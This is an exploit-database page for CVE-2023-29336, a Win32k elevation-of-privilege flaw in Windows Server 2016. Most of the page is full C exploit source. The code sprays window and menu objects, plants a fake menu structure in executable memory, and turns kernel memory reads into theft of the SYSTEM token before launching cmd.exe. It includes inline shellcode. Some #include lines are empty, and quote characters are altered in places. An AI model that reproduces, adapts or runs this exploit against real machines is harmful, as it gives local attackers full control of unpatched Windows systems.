Microsoft Windows Server 2016 – Win32k Elevation of Privilege

Exploit Details

Basic Information

Exploit Title Microsoft Windows Server 2016 – Win32k Elevation of Privilege
Exploit ID EDB-ID:52301
Type exploitdb
Published 2025-05-25T00:00:00
Modified 2025-05-25T00:00:00

CVSS Information

CVSS Score 7.8
Severity HIGH
Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE Information

  • CVE-2023-29336

Exploit Description

Exploit Title: Microsoft Windows Server 2016 – Win32k Elevation of Privilege Date: 2025-05-19 Exploit Author: Milad…

Exploit Code

# Exploit Title: Microsoft Windows Server 2016 – Win32k Elevation of

Privilege

# Date: 2025-05-19

# Exploit Author: Milad Karimi (Ex3ptionaL)

# Contact: [email protected]

# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL

# Country: United Kingdom

# CVE : CVE-2023-29336

#include

#include

#include

#define IDM_MYMENU 101

#define IDM_EXIT 102

#define IDM_DISABLE 0xf120

#define IDM_ENABLE 104

#define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440

#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448

#define EPROCESS_TOKEN_OFFSET 0x4b8

typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT

uIDEnableItem, UINT uEnable);

typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2,

unsigned __int64 a3, unsigned int a4);

typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2);

typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID,

int nConsoleInformationLength);

NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL;

NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL;

NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL;

fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM

lParam);

int syytem();

typedef struct _SHELLCODE {

DWORD reserved;

DWORD pid;

DWORD off_THREADINFO_ppi;

DWORD off_EPROCESS_ActiveLink;

DWORD off_EPROCESS_Token;

BOOL bExploited;

BYTE pfnWindProc[];

} SHELLCODE, * PSHELLCODE;

struct tagMENU

{

ULONG64 field_0;

ULONG64 field_8;

ULONG64 field_10;

ULONG64 field_18;

ULONG64 field_20;

PVOID obj28;

DWORD field_30;

DWORD flag1;

DWORD flag2;

DWORD cxMenu;

DWORD cyMenu;

ULONG64 field_48;

PVOID rgItems;

ULONG64 field_58; // + 0x58

ULONG64 field_60;

ULONG64 field_68;

ULONG64 field_70;

ULONG64 field_78;

ULONG64 field_80;

ULONG64 field_88;

ULONG64 field_90;

PVOID ref; // + 0x98

};

struct MyData

{

BYTE name[0x96];

};

tagMENU* g_pFakeMenu = 0;

static PSHELLCODE pvShellCode = NULL;

HMENU hSystemMenu;

HMENU hMenu;

HMENU hSubMenu;

HMENU hAddedSubMenu;

HMENU hMenuB;

PVOID MENU_add = 0;

DWORD flag = 0;

UINT iWindowCount = 0x100;

HWND HWND_list[0x300];

HWND HWND_list1[0x20];

HMENU HMENUL_list[0x300];

int Hwnd_num = 0;

int Hwnd_num1 = 0;

ULONGLONG HWND_add = 0;

ULONGLONG GS_off = 0;

WORD max = 0;

static PULONGLONG ptagWNDFake = NULL;

static PULONGLONG ptagWNDFake1 = NULL;

static PULONGLONG ptagWNDFake2 = NULL;

static PULONGLONG GS_hanlde = NULL;

static PULONGLONG HWND_class = NULL;

struct ThreadParams {

int threadId;

int numLoops;

};

static unsigned long long GetGsValue(unsigned long long gsValue)

{

return gsValue;

}

PVOID

GetMenuHandle(HMENU menu_D)

{

int conut = 0;

PVOID HANDLE = 0;

PBYTE add = 0;

WORD temp = 0;

DWORD offset = 0xbd688;

HMODULE hModule = LoadLibraryA(“USER32.DLL”);

PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, “IsMenu”);

ULONGLONG par1 = 0;

DWORD par2 = 0;

memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);

memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);

if (add)

{

HANDLE = *(PVOID*)add;

}

else

{

HANDLE = 0;

}

HANDLE= (PVOID*)((ULONGLONG)HANDLE – GS_off+0x20);

return *(PVOID*)HANDLE;

}

PVOID

xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde)

{

int conut = 0;

PVOID HANDLE = 0;

PBYTE add = 0;

WORD temp = 0;

DWORD offset = 0xbd688;

HMODULE hModule = LoadLibraryA(“USER32.DLL”);

PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, “IsMenu”);

ULONGLONG par1 = 0;

DWORD par2 = 0;

memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);

memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

temp = (ULONGLONG)menu_D >> 16;

add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);

if (add)

{

HANDLE = *(PVOID*)add;

}

else

{

HANDLE = 0;

}

HANDLE = (PVOID*)((ULONGLONG)HANDLE – GS_off + 0x20);

return *(PVOID*)HANDLE;

}

static

VOID

xxReallocPopupMenu(VOID)

{

for (INT i = 0; i < 0x8; i++)
{

WNDCLASSEXW Class = { 0 };

WCHAR szTemp[0x100] = { 0 };

HWND hwnd = NULL;

wsprintfW(szTemp,

L”AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d”,

i);

Class.cbSize = sizeof(WNDCLASSEXA);

Class.lpfnWndProc = DefWindowProcW;

Class.cbWndExtra = 0;

Class.hInstance = GetModuleHandleA(NULL);

Class.lpszMenuName = NULL;

Class.lpszClassName = szTemp;

if (!RegisterClassExW(&Class))

{

continue;

}

}

}

VOID

createclass(VOID)

{

WCHAR szTemp[0x100] = { 0 };

for (INT i = 9; i < 29; i++)
{

WNDCLASSEXW Class = { 0 };

HWND hwnd = NULL;

wsprintfW(szTemp, L”A@A%d”, i);

Class.cbSize = sizeof(WNDCLASSEXA);

Class.lpfnWndProc = DefWindowProcW;

Class.cbWndExtra = 0x20;

Class.hInstance = GetModuleHandleA(NULL);

Class.lpszMenuName = NULL;

Class.lpszClassName = szTemp;

Class.cbClsExtra = 0x1a0;

if (!RegisterClassExW(&Class))

{

continue;

}

}

for (INT i = 9; i < 29; i++)
{

wsprintfW(szTemp, L”A@A%d”, i);

HWND_list1[i]=CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0,

0, 0, NULL,NULL, NULL, NULL);

}

}

ULONG64 Read64(ULONG64 address)

{

MENUBARINFO mbi = { 0 };

mbi.cbSize = sizeof(MENUBARINFO);

g_pFakeMenu->rgItems = PVOID(address – 0x48);

GetMenuBarInfo(HWND_list[max+1], OBJID_MENU, 1, &mbi);

return (unsigned int)mbi.rcBar.left + ((ULONGLONG)mbi.rcBar.top << 32);
}

void exploit()

{

for (int i = 0; i < 0x20; i++)
{

ULONG64 pmenu = SetClassLongPtr(HWND_list1[i], 0x270,

(LONG_PTR)g_pFakeMenu);

if (pmenu != 0)

{

Hwnd_num = i;

MENUBARINFO mbi = { 0 };

mbi.cbSize = sizeof(MENUBARINFO);

}

}

// Token stealing

ULONG64 p = Read64(HWND_add +0x250+ 0x10); // USER_THREADINFO

p = Read64(p); //THREADINFO

p = Read64(p + 0x220); // (PROCESSINFO)

ULONG64 eprocess = p;

printf(“Current EPROCESS = %llx\n”, eprocess);

p = Read64(p + 0x2f0);

do {

p = Read64(p + 0x08);

ULONG64 pid = Read64(p – 0x08);

if (pid == 4) {

ULONG64 pSystemToken = Read64(p + 0x68);

printf(“pSys/tem Token = %llx \n”, pSystemToken);

HWND_class = (PULONGLONG)((PBYTE)0x303000);

HWND_class[8] = eprocess + 0x290;

HWND_class[12] = 0x100;

HWND_class[20] = 0x303010;

ULONG64 ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 +

0x98 – 0xa0, (LONG_PTR)HWND_class);

SetClassLongPtr(HWND_list[max + 1], 0x28, pSystemToken);

ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 –

0xa0, (LONG_PTR)ret_add);

break;

}

} while (p != eprocess);

syytem();

}

void buildmem()

{

WORD max_handle = 0;

pvShellCode = (PSHELLCODE)VirtualAlloc((PVOID)0x300000, 0x10000,

MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (pvShellCode == NULL)

{

return;

}

ZeroMemory(pvShellCode, 0x10000);

ptagWNDFake = (PULONGLONG)((PBYTE)0x304140);

ptagWNDFake[0] = (ULONGLONG)0x304140;

ptagWNDFake[2] = (ULONGLONG)0x304140 + 0x10;

ptagWNDFake[6] = (ULONGLONG)0x304140;

ptagWNDFake[8] = 0x305300;

ptagWNDFake[11] = (ULONGLONG)MENU_add;

ptagWNDFake[68] = (ULONGLONG)0x304140 + 0x230;

ptagWNDFake[69] = (ULONGLONG)0x304140 + 0x28;

ptagWNDFake[70] = (ULONGLONG)0x304140 + 0x30;

ptagWNDFake[71] = (ULONGLONG)0x000004;

ptagWNDFake1 = (PULONGLONG)((PBYTE)0x305300);

ptagWNDFake1[1] = (ULONGLONG)0x11;

ptagWNDFake1[2] = (ULONGLONG)0x305320;

ptagWNDFake1[6] = (ULONGLONG)0x1000000000020000;

ptagWNDFake1[8] = (ULONGLONG)0x00000000029d0000;

ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 – 0x120;

ptagWNDFake1[14] = (ULONGLONG)0x306500;

ptagWNDFake1[16] = (ULONGLONG)305400;

ptagWNDFake2 = (PULONGLONG)((PBYTE)0x306500);

ptagWNDFake1[11] = (ULONGLONG)0x306600;

WNDCLASSEX WndClass = { 0 };

WndClass.cbSize = sizeof(WNDCLASSEX);

WndClass.lpfnWndProc = DefWindowProc;

WndClass.style = CS_VREDRAW | CS_HREDRAW;

WndClass.cbWndExtra = 0xe0;

WndClass.hInstance = NULL;

WndClass.lpszMenuName = NULL;

WndClass.lpszClassName = L”NormalClass”;

RegisterClassEx(&WndClass);

for (int i = 0; i < 0x200; i++)
{

HMENUL_list[i] = CreateMenu();

}

for (int i = 0; i < 0x100; i++)
{

HWND_list[i] = CreateWindowEx(NULL, L”NormalClass”, NULL,

WS_VISIBLE, 0, 0, 0, 0, NULL, HMENUL_list[i], NULL, NULL);

}

for (int i = 0; i < 0x100; i++)
{

SetWindowLongPtr(HWND_list[i], 0x58, (LONG_PTR)0x0002080000000000);

SetWindowLongPtr(HWND_list[i], 0x80, (LONG_PTR)0x0000303030000000);

}

for (int i = 0x20; i < 0x60; i++)
{

if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2],

0x01)- (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 – 1],

0x01)== 0x250)

{

if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 +

1], 0x01)-(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01)

== 0x250)

{

HWND_add =

(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i*2], 0x01);

max = i * 2;

break;

}

}

if (i == 0x5f)

{

HWND_add = 0;

}

}

ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 – 0x120;

DestroyWindow(HWND_list[max]);

createclass();

// Create a fake spmenu

PVOID hHeap = (PVOID)0x302000;

g_pFakeMenu = (tagMENU*)(PVOID)0x302000;

g_pFakeMenu->ref = (PVOID)0x302300;

*(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu;

// cItems = 1

g_pFakeMenu->obj28 = (PVOID)0x302200;

*(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1;

// rgItems

g_pFakeMenu->rgItems = (PVOID)0x304000;

// cx / cy must > 0

g_pFakeMenu->flag1 = 1;

g_pFakeMenu->flag2 = 1;

g_pFakeMenu->cxMenu = 1;

g_pFakeMenu->cyMenu = 1;

//

}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR

lpCmdLine, int nCmdShow)

{

ULONGLONG gsValue = 0;

unsigned char shellcode[] =

“\x65\x48\x8B\x04\x25\x30\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc3”;

LPVOID executableMemory = VirtualAlloc(NULL, sizeof(shellcode),

MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (executableMemory == NULL) {

return 1;

}

memcpy(executableMemory, shellcode, sizeof(shellcode));

gsValue = ((ULONGLONG(*)())executableMemory)();

gsValue = gsValue + 0x800;

GS_hanlde = (PULONGLONG)(PBYTE)gsValue;

GS_off = GS_hanlde[5];

char str[0xb8] = “”;

memset(str, 0x41, 0xa8);

g_NtUserEnableMenuItem =

(NtUserEnableMenuItem)GetProcAddress(GetModuleHandleA(“win32u.dll”),

“NtUserEnableMenuItem”);

g_NtUserSetClassLongPtr =

(NtUserSetClassLongPtr)GetProcAddress(GetModuleHandleA(“win32u.dll”),

“NtUserSetClassLongPtr”);

g_NtUserCreateAcceleratorTable =

(NtUserCreateAcceleratorTable)GetProcAddress(GetModuleHandleA(“win32u.dll”),

“NtUserCreateAcceleratorTable”);

g_pfnNtUserConsoleControl =

(fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA(“win32u.dll”),

“NtUserConsoleControl”);

WNDCLASS wc = { 0 };

wc.lpfnWndProc = WndProc;

wc.hInstance = hInstance;

wc.lpszClassName = TEXT(“EnableMenuItem”);

RegisterClass(&wc);

HWND hWnd = CreateWindow(

wc.lpszClassName,

TEXT(“EnableMenuItem”),

WS_OVERLAPPEDWINDOW,

CW_USEDEFAULT,

CW_USEDEFAULT,

400, 300,

NULL,

NULL,

hInstance,

NULL

);

if (!hWnd) return FALSE;

///

hSystemMenu = GetSystemMenu(hWnd, FALSE);

hSubMenu = CreatePopupMenu();

MENU_add = GetMenuHandle(hSubMenu);

hMenuB = CreateMenu();

buildmem();

if (HWND_add == 0)

{

return 0;

}

AppendMenu(hSubMenu, MF_STRING, 0x2061, TEXT(“0”));

AppendMenu(hSubMenu, MF_STRING, 0xf060, TEXT(“1”));

DeleteMenu(hSystemMenu, SC_CLOSE, MF_BYCOMMAND);

AppendMenu(hMenuB, MF_POPUP, (UINT_PTR)hSubMenu, L”Menu A”);

AppendMenu(hSystemMenu, MF_POPUP, (UINT_PTR)hMenuB, L”Menu B”);

ShowWindow(hWnd, nCmdShow);

UpdateWindow(hWnd);

flag = 1;

g_NtUserEnableMenuItem(hSystemMenu, 0xf060, 0x01);

exploit();

MSG msg = { 0 };

while (GetMessage(&msg, NULL, 0, 0))

{

TranslateMessage(&msg);

DispatchMessage(&msg);

}

return (int)msg.wParam;

}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM

lParam)

{

switch (message)

{

case WM_DESTROY:

PostQuitMessage(0);

return 0;

case 0xae:

switch (wParam)

{

case 0x1000:

if (flag)

{

int itemCount = GetMenuItemCount(hMenuB);

for (int i = itemCount – 1; i >= 0; i–) {

RemoveMenu(hMenuB, i, MF_BYPOSITION);

}

DestroyMenu(hSubMenu);

xxReallocPopupMenu();

}

case 0x1001:

if (flag)

{

int itemCount = GetMenuItemCount(hMenuB);

for (int i = itemCount – 1; i >= 0; i–) {

RemoveMenu(hMenuB, i, MF_BYPOSITION);

}

DestroyMenu(hSubMenu);

xxReallocPopupMenu();

}

return 0;

}

break;

}

return DefWindowProc(hWnd, message, wParam, lParam);

}

int syytem()

{

SECURITY_ATTRIBUTES sa;

HANDLE hRead, hWrite;

byte buf[40960] = { 0 };

STARTUPINFOW si;

PROCESS_INFORMATION pi;

DWORD bytesRead;

RtlSecureZeroMemory(&si, sizeof(si));

RtlSecureZeroMemory(&pi, sizeof(pi));

RtlSecureZeroMemory(&sa, sizeof(sa));

int br = 0;

sa.nLength = sizeof(SECURITY_ATTRIBUTES);

sa.lpSecurityDescriptor = NULL;

sa.bInheritHandle = TRUE;

if (!CreatePipe(&hRead, &hWrite, &sa, 0))

{

return -3;

}

si.cb = sizeof(STARTUPINFO);

GetStartupInfoW(&si);

si.hStdError = hWrite;

si.hStdOutput = hWrite;

si.wShowWindow = SW_HIDE;

si.lpDesktop = L”WinSta0\\Default”;

si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

wchar_t cmd[4096] = { L”cmd.exe” };

if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si,

&pi))

{

CloseHandle(hWrite);

CloseHandle(hRead);

printf(“[!] CreateProcessW Failed![%lx]\n”, GetLastError());

return -2;

}

CloseHandle(hWrite);

}

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.